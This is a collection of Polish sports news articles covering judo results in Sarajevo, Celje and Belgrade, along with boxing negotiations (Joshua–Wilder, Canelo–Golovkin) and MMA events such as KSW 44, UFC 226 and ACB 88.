Polski judoka z brązowym medalem ME

Rosjanie zdominowali mistrzostwa Europy kadetów w judo, które odbyły się w Sarajewie. Dla Polski brązowy medal wywalczył Wojciech Kordyalik (+90kg).

Biało-czerwoni wypadli gorzej niż rok temu. Z Kowna Polska przywiozła dwa brązowe medale autorstwa Nikoli Szlachty i Natalii Kropskiej. W Sarajewie formą błysnął Wojciech Kordyalik, który przed rozpoczęciem mistrzostw Europy  zapowiadał, że będzie walczył o złoto. Zawodnik WKS Śląsk Wrocław miał podstawy, aby składać takie deklaracje. Od początku roku stawał na podium zawodów rangi Pucharu Europy. W Sarajewie nie mogło być inaczej. Kordyalik rozpoczął zgodnie z planem i w mgnieniu oka odprawił Antona Plakhotnyka i Igora Vracara. Przed półfinałem wiadomo było, że młodego Polaka czeka niezwykle trudne wyzwanie. Los skojarzył Kordyalika z Richardem Sipoczem, a Węgier ma na swoim koncie mistrzostwo Europy kadetów wywalczone w 2016 roku. Rok później zdobył srebro. W tym roku triumfował w trzech z czterech zawodów pucharowych. Walka o wejście do finału trwała dwie minuty. Kordyalik musiał uznać wyższość Sipocza, który następnie sięgnął po złoto. Zawodnikowi WKS Śląsk Wrocław pozostała walka o brąz. Francuz Mathias Anglionin nie miał jednak zbyt wiele do powiedzenia w rywalizacji z polskim judoką.

Dobrze zmagania w Sarajewie rozpoczęła Julia Jaroszewska (70kg), która na początek wyeliminowała Denisę Marin. W kolejnym starciu na Polkę czekała mocna Daria Kariankina. Rosjanka notuje fantastyczne występy i dobrą formę potwierdziła w Sarajewie sięgając po srebro. Jaroszewskiej pozostała walka w repasażach, gdzie wygrała jeden pojedynek. Na drodze do starcia o brąz stanęła jej Metka Lobnik. Polka została sklasyfikowana na siódmej pozycji.

Trzy pojedynki, ale tylko jedna wygrana – to bilans Kingi Wolszczak (70kg), która zajęła dziewiątą pozycję. Po jednym zwycięstwie na swoim koncie zapisali Maria Łętkowska (+70kg) oraz Szymon Szymański (60kg). Pozostali Polacy pożegnali się z mistrzostwami Europy po pierwszych walkach.

Bezkonkurencyjni Rosjanie

W Sarajewie karty rozdawali Rosjanie. Reprezentanci Sbornej wystąpili łącznie w dziesięciu finałach, z których siedem zakończyło się ich sukcesem. Do tego dołożyli jeszcze brąz. Drugie miejsce w klasyfikacji medalowej dla Francji, która zdobyła… trzy medale (dwa złote). Podium uzupełnili Włosi z sześcioma krążkami (złoto, cztery srebra i brąz).

W zmaganiach drużynowych (mix) najlepsi okazali się Rosjanie, którzy w finale pokonali Holandię. Na podium również Turcja i Rumunia.

Fot. European Union Judo

KM

Droga pełna zakrętów

Wydawałoby się, że osiągnąć porozumienie to nic trudnego. A jednak… Obozy Anthony’ego Joshuy i Deontaya Wildera dyskutowały, ale wielkiej walki w wadze ciężkiej nie należy spodziewać się w najbliższym czasie. W takim razie – kiedy?

Rzecz jasna, że podstawą każdego widowiska jest odpowiednie zainteresowanie. Czasami trzeba ciężko pracować, aby wypromować dane wydarzenie. Ale Joshua i Wilder to nazwiska, które każdego miłośnika boksu (i nie tylko) stawiają na nogi, a ich pojedynek byłby niezwykle smakowitym kąskiem. Gwarancja sukcesu – praktycznie pod każdym względem. Ale trzeba pamiętać, że coś na pozór idealnego można zepsuć.

Sukcesy Joshuy i Wildera sprawiły, że ich zestawienie stało się sprawą oczywistą. Toczyły się rozmowy na temat daty, miejsca i oczywiście pieniędzy. Już wydawało się, że wszystko jest na dobrej drodze. Mistrz świata WBC był gotów zmierzyć się z Joshuą latem na Wembley. Dodatkowo menadżer Wildera przyznał, że bokser jest skłonny przystać na podział zysków 60 do 40 na korzyść rywala. Czego chcieć więcej?

Wypada również wspomnieć, że po drodze nie brakowało „przepychanek słownych”. Wilder wyzywał Joshuę na pojedynek i utrzymywał, że 28-latek z Watfordu się go boi. Z kolei czempion IBF, WBA, WBO i IBO zapewniał gotowość do rywalizacji, jednak obóz Amerykanina nie był skłonny udzielić odpowiedzi na przesłaną ofertę. Eddie Hearn, promotor Brytyjczyka, stoi na stanowisku, że Wilder nie chce walczyć z Joshuą. Z kolei federacja WBA naciska w sprawie obowiązkowej obrony z Aleksandrem Powietkinem. I tak może być w nieskończoność. Machina musi się kręcić… A wszyscy czekają.

Czy walka Joshuy z Wilderem jest realna w 2018 roku? Wydaje się, że nie. Eddie Hearn patrzy raczej w kierunku Powietkina. Z kolei Wilder jest zdegustowany całą sytuacją, czemu dał wyraz. – Przepraszam Was wszystkich, oni nas oszukali! Pieprzyć ich! Jedziemy dalej – zabrał głos Deontay Wilder. 32-letni Amerykanin ma kolejny cel w postaci pobicia rekordu Floyda Mayweathera Jr., który zapisał na swoim koncie 50 zwycięstw. Wilder ma ich obecnie 40.

Temat pojedynku czempionów wagi ciężkiej nadal jest na pierwszym planie. Obecnie mówi się, że prawdopodobny termin hitowego starcia to wiosna przyszłego roku. Ale… W tym przypadku nic nie jest pełne. Tak jak w filmie, w którym nie brakuje zaskakujących zwrotów akcji.

Scenariusze są dwa. Walka pomiędzy Joshuą i Wilderem odbędzie się w ciągu najbliższych miesięcy (2018-2019) albo rozmowy będą trwać w nieskończoność. Na myśl przychodzi tu starcie Floyda Mayweathera Jr. z Manny Pacquiao. Przez wiele lat mówiło się o tej walce, a pięściarze spotkali się u schyłku swoich karier. Czy tak będzie w tym przypadku? Wydaje się to mało prawdopodobne ze względu na fakt, że Joshua i Wilder są na siebie skazani. Na horyzoncie wyzwań nie widać nikogo, kto mógłbym im realnie zagrozić. A co najważniejsze – wziąć udział w budowaniu widowiska pozwalającego wygenerować ogromne zainteresowanie i… zyski. Czy gra na czas jest dobrym rozwiązaniem?

KM

Walka o medale w Sarajewie

28 czerwca w Sarajewie rozpoczną się mistrzostwa Europy kadetów w judo. Impreza potrwa do 1 lipca. O medale będzie walczyło dziewięcioro biało-czerwonych.

Z pewnością młodym judokom nie zabraknie zaangażowania i serca do walki. Podczas każdego treningu doskonalą swoje umiejętności, a w Sarajewie przyjdzie czas na weryfikację możliwości na poziomie europejskim. W mistrzostwach wystartuje blisko 500 zawodniczek i zawodników. – Wiek kadeta jest pierwszym i najtrudniejszym krokiem na wyższy poziom. Młodzi judocy uczą się zdobywać i przezwyciężać silne emocje, triumfy i rozczarowania. Wiele obecnych gwiazd judo osiągało sukcesy, gdy było kadetami. Życzę wszystkim uczestnikom i trenerom niezapomnianych i radosnych przeżyć, które będą podstawą ich przyszłych sukcesów – powiedział Sergey Soloveychik, przewodniczący Europejskiej Unii Judo.

Czy Polacy poprawią wynik z poprzedniego roku? To podstawowe pytanie przed rozpoczęciem mistrzostw Europy w Sarajewie. Rok temu w Kownie Polacy wywalczyli dwa brązowe medale za sprawą Nikoli Szlachty i Natalii Kropskiej. Dodatkowo z dobrej strony pokazały się nasze drużyny. Kadetki zajęły piąte miejsce, zaś kadeci siódme.

Do Sarajewa udało się dziewięcioro reprezentantów Polski. Przez trzy dni rozgrywane będą zawody indywidualne, a ostatniego dnia zmagań zaplanowano rywalizację mikstów. Reprezentacje będą składać się z zawodniczek występujących w wagach: 44kg, 52kg, 63kg, +63kg oraz zawodników: 55kg, 66kg, 81kg oraz +81kg.

Wysoko stoją akcje Kingi Wolszczak (+70kg), która prezentuje równą formę. W ubiegłym roku wygrała zawody w Koper i Gyor. Jej ostatni występ to trzecie miejsce w Teplicach, wcześniej zajęła drugą lokatę w Berlinie. Z podium nie schodzi Wojciech Kordyalik (+90kg). W tegorocznych startach zawodnikowi WKS Śląsk Wrocław do pełni szczęścia brakuje tylko zwycięstwa. Kordyalik był o krok od triumfu w Berlinie, ale lepszy okazał się Omer Aydin z Turcji. Ponadto, Polak zajmował trzecie pozycje w Zagrzebiu i Teplicach.

Reprezentacja Polski na mistrzostwa Europy w Sarajewie: Zuzanna Łogożna (57kg), Agata Pałka (57kg), Julia Jaroszewska (70kg), Kinga Wolszczak (+70kg) i Maria Łętkowska (+70kg), Szymon Szymański (60kg), Mateusz Kozłowski (73kg), Wojciech Grądzki (73kg) i Wojciech Kordyalik (+90kg).

Fot. eju.net

KM

Przepychanki trwają w najlepsze

Głównym wydarzeniem gali UFC 226 będzie walka Daniela Cormiera ze Stipe Miocicem o pas mistrza wagi ciężkiej. Jednak sam pojedynek znalazł się w cieniu… przepychanek, w których pierwsze skrzypce gra Jon Jones.

7 lipca w T-Mobile Arenie w Las Vegas dojdzie do starcia dwóch mistrzów. Cormier dzierży pas w wadze półciężkiej, a Miocić w ciężkiej. Stawką walki wieczoru UFC 226 będzie tytuł w kategorii królewskiej. Miłośnicy MMA ostrzą sobie zęby na to starcie, a do akcji wkracza Jon Jones. Popularny "Bones" odbywa karę za stosowanie niedozwolonych środków, ale chętnie prezentuje własne zdanie. Obiektem jego ataków jest Daniel Cormier. Sam "DC" niedawno stwierdził, że Jones po wpadkach dopingowych nie powinien zabierać głosu. "Bones" obok takich słów nie mógł przejść obojętnie. Wymiana między zawodnikami toczy się w… mediach społecznościowych. – Nie mam prawa głosu, DC? To brzmi głupio. Po latach zawieszenia mam do tego nie mniejsze – jeśli nie większe – prawo niż Ty. Każda Twoja wygrana trafia do mojego CV. Wiem, o kim śnisz w nocy. Twoja żona też o tym wie – napisał Jon Jones.

Z pewnością fakt, że Cormier może zdobyć kolejny pas działa na "Bonesa" jak płachta na byka. 39-letni mistrz wagi półciężkiej dwukrotnie mierzył się z Jonesem. W pierwszym przypadku (UFC 182) przegrał decyzją sędziów. Kolejny raz Jones i Cormier spotkali się w lipcu 2017 roku (UFC 214). Przez nokaut w trzeciej rundzie wygrał "Bones", ale… w jego organizmie wykryto turinabol. Pas pozostał więc w rękach Cormiera, a Jones został ukarany za swoje wybryki zawieszeniem do marca 2019 roku i karą finansową w wysokości 205 tys. dolarów. Na kolejną walkę przyjdzie mu jeszcze trochę poczekać… Jones daje do zrozumienia, że chciałby kolejnej walki z obecnym czempionem wagi półciężkiej.

„Słowne przepychanki” nieco przysłaniają to, co najważniejsze. Pewnie jest, że 7 lipca Cormier może zapisać się w historii MMA jako drugi zawodnik w historii UFC, który znajdzie się w posiadaniu dwóch pasów mistrzowskich. "DC" stanie jednak przed bardzo trudnym zadaniem. Miocić wygrał sześć ostatnich walk, w tym pięć przed czasem. Dotychczas trzykrotnie skutecznie bronił tytułu mistrza wagi ciężkiej.

Cormier i Miocić swoje ostatnie pojedynki stoczyli na gali UFC 220. W walce wieczoru mistrz wagi ciężkiej pokonał decyzją sędziów Francisa Ngannou. Z kolei Cormier przed czasem uporał się z Volkanem Oezdemirem.

Fot. Daniel Cormier Facebook

KM

Srebro polskiego judoki w Pucharze Europy

Łukasz Golus (66kg) wywalczył srebrny medal w zawodach Pucharu Europy w judo w Celje-Podcetrtek. Rywalizację zdominowali Rosjanie, którym kroku starali dotrzymać się Francuzi.

Rok temu Łukasz Golus stoczył w Celje-Podcetrtek cztery walki. Trzy z nich wygrał, zatrzymał go Serb Denis Jurakic. Tym razem zawodnik GKS Czarni Bytom mógł cieszyć się ze srebrnego medalu. Zmagania na Słowenii Polak zaczął zdecydowanie i odprawił Ukraińca Anatolia Martyshchenkę oraz Francuza Benjamina Beauzora. Trudne warunki zwycięzcy Pucharu Europy z Bratysławy z zeszłego roku postawił Mirzoiusuf  Gafurov. Golus wygrał przez waza ari i w półfinale trafił na Matteo Pirasa. Włoch jest zdecydowanie wyżej klasyfikowany niż Polak, ale w Celje-Podcetrtek nie było tego widać. Golus pokonał Pirasa i awansował do finału, jednak w starciu o złoto lepszy okazał się Francuz Vang-Si Nzaou.

Łącznie w Pucharze Europy na Słowenii wystartowało siedmioro Polaków. Dwie zwycięskie walki na swoim koncie zapisał Dominik Majowski (100kg), który w ubiegłym roku w startach juniorskich regularnie stawał na podium. W Celje-Podcetrtek Polak zaczął rywalizację od zwycięstwa, ale po porażce z Danylo Hutsolem trafił do repasaży. Pierwszy pojedynek wygrał, jednak w kolejnym starciu przegrał z Blazem Vrankarem i ostatecznie uplasował się na siódmej pozycji. Dziewiąte miejsce zajęła Marta Wykupil (63kg), która stoczyła łącznie trzy walki, ale triumfowała tylko w jednej.

Od zwycięstwa zmagania w Pucharze Europy rozpoczął Paweł Wawrzyczek (73kg), ale jego przygoda szybko się skończyła. Wszelkich marzeń pozbawił go Niemiec Martin Setz. Bez zwycięstwa rywalizację w Pucharze Europy zakończyli: Dominik Grzywacz (60kg), Adrian Wala (66kg) oraz Jacek Brysz (73kg).

Rosjanie na czele

Siedem medali w Celje-Podcetrtek wywalczyli reprezentanci Sbornej. Taki sam wynik na swoim koncie zapisali Francuzi, ale Trójkolorowi zdobyli trzy brązowe krążki przy dwóch srebrach i brązie Rosjan. Na trzeciej lokacie w klasyfikacji medalowej Niemcy (14 medali, ale tylko dwa złote).

Rosjanie zdecydowanie dominowali w rywalizacji judoków. Yago Abuladze (60kg), Turpal Tepkaev (81kg), Arman Adamian (100kg) oraz Aslan Dzhioev (+100kg) okazali się najlepsi w swoich kategoriach wagowych. U Francuzów złota "rozłożyły" się proporcjonalnie. Triumfowali: Penelope Bonna (52kg) i Melissa Heleine (70kg) oraz Vang-Si Nzaou (66kg) oraz Guillaume Riou (90kg).

Fot. zdjęcie poglądowe

KM

FEN: Przemek Opalach stoczy walkę w K-1

Przemysław Opalach stoczy pojedynek w federacji Fight Exclusive Night w formule K-1. Debiut olsztynianina szykowany jest na drugą połowę 2018 roku.

Kibice sportów walki w Polsce znają Opalach z ringu bokserskiego. To właśnie w szermierce na pięści olsztynianin stoczył 28 pojedynków, z czego 26 wygrał, w tym 21 przed czasem. 20 grudnia 2013 roku Opalach pokonał przez techniczny nokaut Maishę Samsona z Tanzanii, dzięki czemu zdobył tytuł mistrza świata federacji WBF w kategorii super średniej. Niespełna rok później zwyciężył Slavisa Simeunovica i został posiadaczem pasów WBC Baltic, WBF World oraz Międzynarodowym Mistrzem Polski. Opalach ma za sobą znakomitą serię 14 zwycięstw z rzędu. Ostatnim razem pokonany wychodził z ringu w kwietniu 2013 roku. W 2017 roku stoczył trzy walki – wszystkie pewnie wygrał.

– Opalach to znakomity pięściarz, jeden z najlepszych polskich bokserów w kategorii super średniej. Przemek od jakiegoś czasu przygląda się naszym zawodnikom w wadze do 77 kilogramów, jest pod wrażeniem ich umiejętności. Może zmierzy się w przyszłości z którym z nich? To na pewno jedno z rozwiazań na jego karierę w FEN. On jeszcze za dzieciaka trenował muay thai, potem wygrał 30 pojedynków. To kawał zawodnika i wierzę, że będzie wzmocnieniem naszej federacji – powiedział Paweł Jóźwiak, prezes FEN.

Australijska podróż Helda

Od kilku dni Marcin Held jest w Brisbane, gdzie 16 czerwca zadebiutuje w organizacji ACB. Jego rywalem będzie Callan Potter. Na gali ACB 88 zaprezentuje się również Karol Celiński.

W marcu br. Marcin Held związał się umową z rosyjską organizacją. Tyszanin ma za sobą nieudaną przygodę w UFC, gdzie stoczył cztery walki, z których wygrał tylko jedną – z Nasratem Haqparastem w Gdańsku. Umowa Polaka z amerykańską organizacją dobiegła końca, jednak nie pojawiła się nowa propozycja. Held liczył, że uda mu się wystąpić na gali UFC Fight Night 127 w Londynie. 26-latek zgłaszał chęć występu w miejsce kontuzjowanych zawodników, jednak bez efektu. W końcu pojawiła się oferta ze strony ACB, z której Marcin Held postanowił skorzystać.

W rosyjskiej organizacji Polak ma się odbudować, co pozwoli mu wrócić do UFC. Nie da się ukryć, że Held ma ogromne możliwości, co potwierdził w Bellatorze, gdzie był czołową postacią wagi lekkiej. Pierwszy test możliwości polskiego fightera już 16 czerwca w Brisbane. Polak dotarł do Australii w niedzielę i ostatnie dni poświęca na szlifowanie formy. Zapewnia, że znajduje się w wysokiej formie i nie narzeka na samopoczucie. Jego rywalem będzie Callan Potter, który ma na koncie 16 zwycięstw. Australijczyk jest specjalistą od zmagań w parterze i wszystkie walki rozstrzygnął przed czasem! Potter znajduje się w znakomitej dyspozycji, o czym świadczy fakt, że zwyciężył w ośmiu pojedynkach z rzędu. Po raz ostatni pokonany schodził we wrześniu 2015 roku.

Dla Marcina Helda będzie to drugi występ w Australii. Jednak walka z Kaleo Kwanem to odległe czasy. W Melbourne Polak zaprezentował się we wrześniu 2011 roku podczas gali AFC 2. Held potrzebował niecałej minuty, aby doprowadzić zmusić rywala do poddania. Czy 16 czerwca zapisze na swoim koncie kolejną wygraną?

Czwarta walka Celińskiego

W Brisbane zaprezentuje się również Karol Celiński. Dla 37-latka będzie to czwarta walka stoczona dla ACB. Celiński wygrał trzy poprzednie starcia, w których pokonał kolejno: Łuksza Parobca, Vinny'ego Magalhaesa oraz Maxima Futina.

Na ACB 88 rywalem polskiego zawodnika będzie Luke Barnatt. 30-latek ma za sobą przygodę w UFC, a w ACB debiutował w starciu z Mamedem Khalidovem. Barnatt został znokautowany przez byłego mistrza KSW w zaledwie 21 sekund.

Fot. Marcin Held Facebook

KM

Wilder powiedział „tak”

Wielka walka w wadze ciężkiej coraz bliżej? Mistrz świata WBC wagi ciężkiej Deontay Wilder przyjął ofertę Anthony'ego Joshuy na pojedynek na stadionie Wembley w Londynie. Jesień może być niezwykle gorąca!

Cały bokserski świat z niecierpliwością wyczekuje starcia Joshuy z Wilderem. Dwóch wielkich mistrzów, którzy potrafią potężnie wstrząsnąć rywalem i są pierwszoplanowymi postaciami boksu. Mówiło się, że do walki Joshuy i Wildera dojdzie w 2019 roku. Jednak w ostatnich tygodniach nastąpił przełom. Najpierw menadżer Wildera Shelly Finkel podał, że Amerykanin jest gotowy przystać na podział zysków 60 do 40 na korzyść 28-latka z Watfordu. Ponadto, Wilder gotów był stanąć do rywalizacji na stadionie Wembley.

Mistrz świata WBC dał wyraźny sygnał, że wielka walka w wadze ciężkiej zbliża się wielkimi krokami. Teraz to potwierdził. Pojedynek o cztery pasy mistrzowskie w kategorii królewskiej miałby odbyć się jesienią na Wembley. – Jeśli Joshua będzie chciał, to oferta 50 milionów w przypadku walki w USA będzie dostępna. Zgodziłem się na ich propozycję na starcie w Wielkiej Brytanii. Piłka jest po jego stronie – poinformował Deontay Wilder.

Zapewne na jednym pojedynku się nie skończy. Oferta przedstawiona przez obóz Joshuy zawiera dwie walki – pierwszą w Anglii, zaś rewanż w Stanach Zjednoczonych. – Wysłaliśmy do Joshuy i rodziny Hearna informację, że zgadzamy się na ich warunki. Nie będziemy zdradzać kwot, ale propozycja jest na tyle dobra, że możemy ją zaakceptować – podał Shelly Finkel, menadżer Wildera.

Można powiedzieć, że Wilder dał „zielone światło” dla wielkiego wydarzenia. Teraz trzeba czekać na wiążące ustalenia. Kiedy należy się spodziewać walki, której stawkę będą pasy mistrzowskie IBF, WBA, WBO i WBC wagi ciężkiej? Prawdopodobny termin to 15 września. Możliwe również, że starcie odbędzie się w drugiej połowie września.

Joshua ma na koncie 21 wygranych. W ostatniej walce pokonał Josepha Parkera, który jako pierwszy wytrzymał z Brytyjczykiem pełen dystans. Z kolei Wilder ma na koncie 40 zwycięstw. W marcu uporał się z Luisem Ortizem.

KM

Polacy na trzecim stopniu podium

Anna Załęczna (+78kg) oraz Ksawery Morka (73kg) wywalczyli złote medale w Pucharze Europy w judo w Belgradzie. Ich dobre występy sprawiły, że biało-czerwoni zajęli trzecią pozycję w klasyfikacji końcowej zawodów.

Na starcie w Belgradzie zameldowało się 261 judoczek i judoków. Reprezentacja Polski liczyła dziesięć osób. Biało-czerwoni startowali ze zmiennym szczęściem, ale w ostatecznym rozrachunku osiągnięty wynik jest satysfakcjonujący.

Duży wkład w końcowy efekt miała Anna Załęczna, która po raz kolejny znalazła się na podium. W ubiegłym tygodniu wywalczyła brąz w Madrycie. W Belgradzie Polka zaczęła od wygranej przed czasem z Aleksandrą Dubroją. Zwycięstwo dało jej możliwość walki o medale. Na drodze Załęcznej stanęła Tina Radić, którą Polka pokonała w niecałą minutę. 22-letniej zawodniczce TKS Judo Toruń pozostał ostatni krok w postaci walki o złoto,  w której rozłożyła na łopatki Katarinę Luciję Vuković. – Puchar Europy jedzie ze mną do Torunia. To mój pierwszy wygrany turniej seniorski. Bardzo się cieszę – napisała na Facebooku Anna Załęczna.

Popisowy występ w Belgradzie zaliczył Ksawery Morka. 22-letni zawodnik broniący barw klubu Ryś Warszawa stoczył w Serbii sześć walk. Z pojedynku na pojedynek Morka był coraz bardziej zdeterminowany. Aż pięć walk rozstrzygnął na swoją korzyść przed czasem. Tylko Martin Vegvari, który w maju był drugi w Sarajewie postawił Polakowi trudne warunki, jednak ten i tak znalazł sposób na Węgra. 22-latek wygrał przez waza-ari. W starciu o złoto Morka pokonał Serba Ljubisę Kovacevicia.

Blisko podium był Łukasz Kiełbasiński (66kg). Polak start w Belgradzie rozpoczął od zwycięstwa, jednak w kolejnej walce pokonał go Bence Boros. Kiełbasiński trafił do repasaży, gdzie odniósł dwa zwycięstwa, które dały mu szansę rywalizacji o brąz. Denis Jurakić zdobył jedno waza ari, co pozwoliło cieszyć mu się z medalu.

Daria Tymann (78kg) poznała smak rywalizacji na poziomie seniorskim. W Belgradzie zajęła siódme miejsce, choć przegrała dwie walki. Tym razem Kacper Szczurowski (100kg) nie sięgnął po medal. Tydzień temu Polak był drugi w Madrycie, z kolei w Belgradzie zajął siódmą lokatę.

Pierwsze skrzypce w Pucharze Europy grali Serbowie. Gospodarze zdobyli 14 medali, w tym cztery złote. Za ich plecami Węgrzy z dorobkiem siedmiu krążków (dwa złote) i Polacy.

Fot. Anna Załęczna Facebook/EJU

KM

Nadchodzi oczekiwane starcie

Mariusz Pudzianowski i Karol Bedorf to najjaśniejsze gwiazdy gali KSW 44, która odbędzie się 9 czerwca w trójmiejskiej Ergo Arenie. O tym starciu mówiło się od dawna. W końcu okaże się, który z zawodników wagi ciężkiej jest lepszy.

Pudzianowski i Bedorf mają ogromny apetyt. Po porażkach z Peterem Grahamem i Marcinem Różalskim, "Pudziana" skazywano na emeryturę, jednak ten udowodnił, że może jeszcze rywalizować na dobrym poziomie. 41-latek ma passę trzech zwycięstw z rzędu. Przed czasem pokonał Pawła Mikołajuwa i Tyberiusza Kowalczyka, a ostatnio uporał się z Jay'em Silvą. Wiadomo, że nic nie trwa wiecznie i zapewne tak będzie z karierą byłego mistrza świata strongman, jednak 9 czerwca czeka go najważniejszy pojedynek w przygodzie z MMA. Wygrana z Bedorfem może okazać się przepustką do walki o pas mistrzowski, co z pewnością byłoby idealnym ukoronowaniem przygody z MMA 41-letniego Pudzianowskiego.

Trzy razy skutecznie tytułu najlepszego w wadze ciężkiej bronił Karol Bedorf. Polak stracił pas w grudniu 2016 roku na rzecz Fernando Rodriguesa Jr. W Ergo Arenie Bedorf zaprezentuje się po raz pierwszy od tamtej porażki. Urodzony w Szczecinie zawodnik miał wystąpić na gali KSW 39: Colosseum, ale zerwał ścięgno Achillesa. Z pewnością Bedorf jest głodny rywalizacji. Trzeba przyznać, że 34-latek ma większe doświadczenie w sportach walki niż jego starszy rywal. Dla Bedorfa pojedynek z Pudzianowskim ma być tylko przystankiem do starcia o pas mistrzowski. Walka wieczoru gali KSW 44 powinna mieć wyjątkowy smak. Czy tak będzie?

W Ergo Arenie zaprezentuje się Michał Materla, który zmierzy się z Martinem Zawadą. Ostatnio były mistrz KSW w wadze średniej padł ofiarą Scotta Askhama, który mocnymi kopnięciami na brzuch osłabił Polaka. Tym samym 29-latek przerwał passę trzech wygranych Materli. Martin Zawada również rysuje się jako wymagający przeciwnik. 34-letni reprezentant Niemiec udanie powrócił do KSW i w Łodzi pokonał Łukasza Jurkowskiego.

Kibice czekają na drugi występ w KSW Tomasza Oświecińskiego, który zmierzy się z Erko Junem. Ciekawie zapowiada się rywalizacja Klebera Koike Erbsta z Marianem Ziółkowskim.

Karta walk gali KSW 44:

Mariusz Pudzianowski vs Karol Bedorf

Kleber Koike Erbst vs Marian Ziółkowski

Michał Materla vs Martin Zawada

Tomasz Oświeciński vs Erko Jun

Filip Wolański vs Daniel Torres

Gracjan Szadziński vs Paul Redmond

Chris Fields vs Wagner Prado

Łukasz Rajewski vs Leo Zulić

Dawid Gralka vs Sebastian Przybysz

Fot. Mariusz Pudzianowski Facebook

KM

Rozstanie w zgodzie i wielkie wyzwanie

Marian Ziółkowski szykuje się do debiutu w federacji KSW. 9 czerwca rywalem popularnego "Golden Boya" w trójmiejskiej Ergo Arenie będzie Kleber Koike Erbst. To będzie kolejny pojedynek Ziółkowskiego w przeciągu dwóch tygodni. Wcześniej zawodnik stoczył walkę dla organizacji Fight Exclusive Night, z którą zakończył współpracę.

Bywa, że nieszczęście jednego jest szansą drugiego. Stwierdzenie to idealnie pasuje do sytuacji Mariana Ziółkowskiego. Podczas KSW 44 miało dojść do drugiego starcia pomiędzy Kleberem Koike Erbstem, a Marcinem Wrzoskiem o wakujący pas dywizji piórkowej. Polak doznał jednak kontuzji i w jego miejsce wskoczył "Golden Boy". Efektowny Koike Erbst może obawiać się Ziółkowskiego, który w ostatnim występie, gala FEN 21, w pierwszej rundzie znokautował Patryka Nowaka.

27-letni Polak w ostatnim czasie związany był z organizacją Fight Exclusive Night, dla której stoczył cztery pojedynki. Ziółkowski wykazał się 50% skutecznością, a stawką obu przegranych walk był tytuł mistrzowski wagi lekkiej. Przed zawodnikiem otworzyły się nowe możliwości, z których postara się skorzystać. Ale jak to mówią "nie zamknął za sobą drzwi". – Rozstanie nastąpiło w zgodzie. Marian Ziółkowski był zawodnikiem FEN od marca 2016 roku, stoczył pod jej szyldem cztery pojedynki, w tym dwa mistrzowskie w kategorii lekkiej. Federacja FEN w międzyczasie umożliwiła mu starty również dla innych organizacji, a z możliwości tej Marian Ziółkowski korzystał. FEN ma nadzieję, że na „nowej drodze życia” Marian będzie odnosił same sukcesy i wiele w tym sporcie osiągnie. Federacja doskonale go zna i wie, że tylko kwestią czasu jest, gdy zawodnik wejdzie na szczyt i będzie świętował w sporcie najwyższe laury. Drzwi dla Mariana w FEN są zawsze otwarte. Powodzenia! – czytamy w komunikacie federacji Fight Exclusive Night dotyczącym zakończenia współpracy z Marianem Ziółkowskim.

"Golden Boy" trafił do zawodowego MMA trzy lata później niż jego najbliższy rywal, ale stoczył już 27 walk, z których wygrał 23. Starcie Ziółkowskieog i Koike Erbsta to gwarancja efektowności i wspaniałego widowiska, bo obaj fighterzy przyzwyczaili, że swoje walki kończą przed czasem w niezwykłym stylu. 28-letni Japończyk Brazylijskiego pochodzenia ma świetną passę pięciu wygranych z rzędu, w tym trzech w KSW. Jeśli wygra, z pewnością stanie przed kolejną szansą na zdobycie pasa. Chyba, że plany pokrzyżuje mu Ziółkowski. Miał już pas PLMMA, w FEN przeszedł mu koło nosa, więc może zapoluje na pas w KSW?

Fot. Marian Ziółkowski Facebook

KM

A jednak rewanżu nie będzie?

Wiele mówiło się, że rewanżowa walka pomiędzy Saulem Alvarezem a Giennadijem Gołowkinem może odbyć się 15 września. Plan nie zostanie jednak zrealizowany ze względu na wymagania finansowe Kazacha. Z kolei 18 sierpnia szykuje się ciekawe starcie w wadze ciężkiej. Były mistrz świata Joseph Parker zmierzy się z Bryantem Jenningsem.

Droga do rewanżowego starcia "Canelo" i "GGG" nie jest usłana różami… Hit wagi średniej odbył się 17 września 2017 roku w T-Mobile Arenie w Las Vegas. Sędziowie ocenili pojedynek jako remisowy, co spotkało się z nieprzychylnymi opiniami. Wielu wskazywało na zwycięstwo Kazacha, a oliwy do ognia dolało punktowanie sędzi Adalaide Byrd. W jej oczach Alvarez zdecydowanie wygrał – 118:110, pozostała dwójka oceniła walkę następująco: remis 114:114 i na korzyść Gołowkina 115:113. Już wtedy wiadomo było, że od tematu rewanżu się nie ucieknie.

Osiągnięto porozumienie i 5 maja Alvarez oraz Gołowkin ponownie mieli pojawić się w ringu. Jednak pięściarze na dobre nie zaczęli przygotowań, a okazało się, że rewanżu… nie będzie. Powodem było wykrycie w organizmie Alvareza niedozwolonych substancji. Sprawą zajęła się Komisja Sportowa Stanu Nevada, która zawiesiła boksera na pół roku. Kara płynie od daty pierwszego pozytywnego testu, czyli 17 lutego. A więc szybkie obliczenia i ponownie można było planować rewanż. Mówiło się o 15 września, jednak wiadomo, że do starcia nie dojdzie. Negocjacje zakończyły się fiaskiem. Obóz Gołowkina chciał podziału 50 na 50, co nie spotkało się z akceptacją ze strony Meksykanina i jego przedstawicieli.

Jednakże 15 września to nadal aktualny termin kolejnej walki Alvareza, ale jego rywalem ma być Daniel Jacobs, który niedawno po zaciętym boju pokonał Macieja Sulęckiego. 31-letni Amerykanin otrzymał ofertę walki z "Canelo". Promotor Jacobsa Eddie Hearn potwierdza, że jego klient jest zainteresowany tym pojedynkiem.

Były mistrz czeka na kolejną walkę

31 marca Joseph Parker stracił pas mistrzowski WBO wagi ciężkiej na rzecz Anthony'ego Joshuy. Warto dodać, że Nowozelandczyk był pierwszym pięściarzem, który przetrwał z "AJ" pełen dystans.

Parker wróci na ring 18 sierpnia w Atlantic City, gdzie zmierzy się z Bryantem Jenningsem. Swego czasu Amerykanin miał okazję rywalizować o panowanie w kategorii królewskiej, jednak przegrał na punkty z Władimirem Kliczko. Ostatnio 33-letni Jennings ma dobrą passę – wygrał cztery pojedynki z rzędu.

Fot. Canelo Alvarez Facebook

KM

Cztery madryckie medale

Cztery medale wywalczyli Polacy w Pucharze Świata w judo w Madrycie. O krok od triumfu byli Wiktor Mrówczyński (73kg) i Kacper Szczurowski (100kg). Z kolei w Pucharze Europy juniorek w Leibnitz triumfowała Paulina Dziopa (+78kg).

Na starcie zawodów w Madrycie stanęło blisko 400 judoczek i judoków. Polska reprezentacja liczyła dziewięć osób. Jako pierwszy z medalu mógł cieszyć się Wiktor Mrówczyński, który stanął na drugim stopniu podium. Polak stoczył w Madrycie pięć pojedynków. Dwie z czterech wygranych walk Mrówczyński rozstrzygnął przed czasem. W finale zatrzymał go mistrz Europy juniorów z 2014 roku Francuz Benjamin Axus.

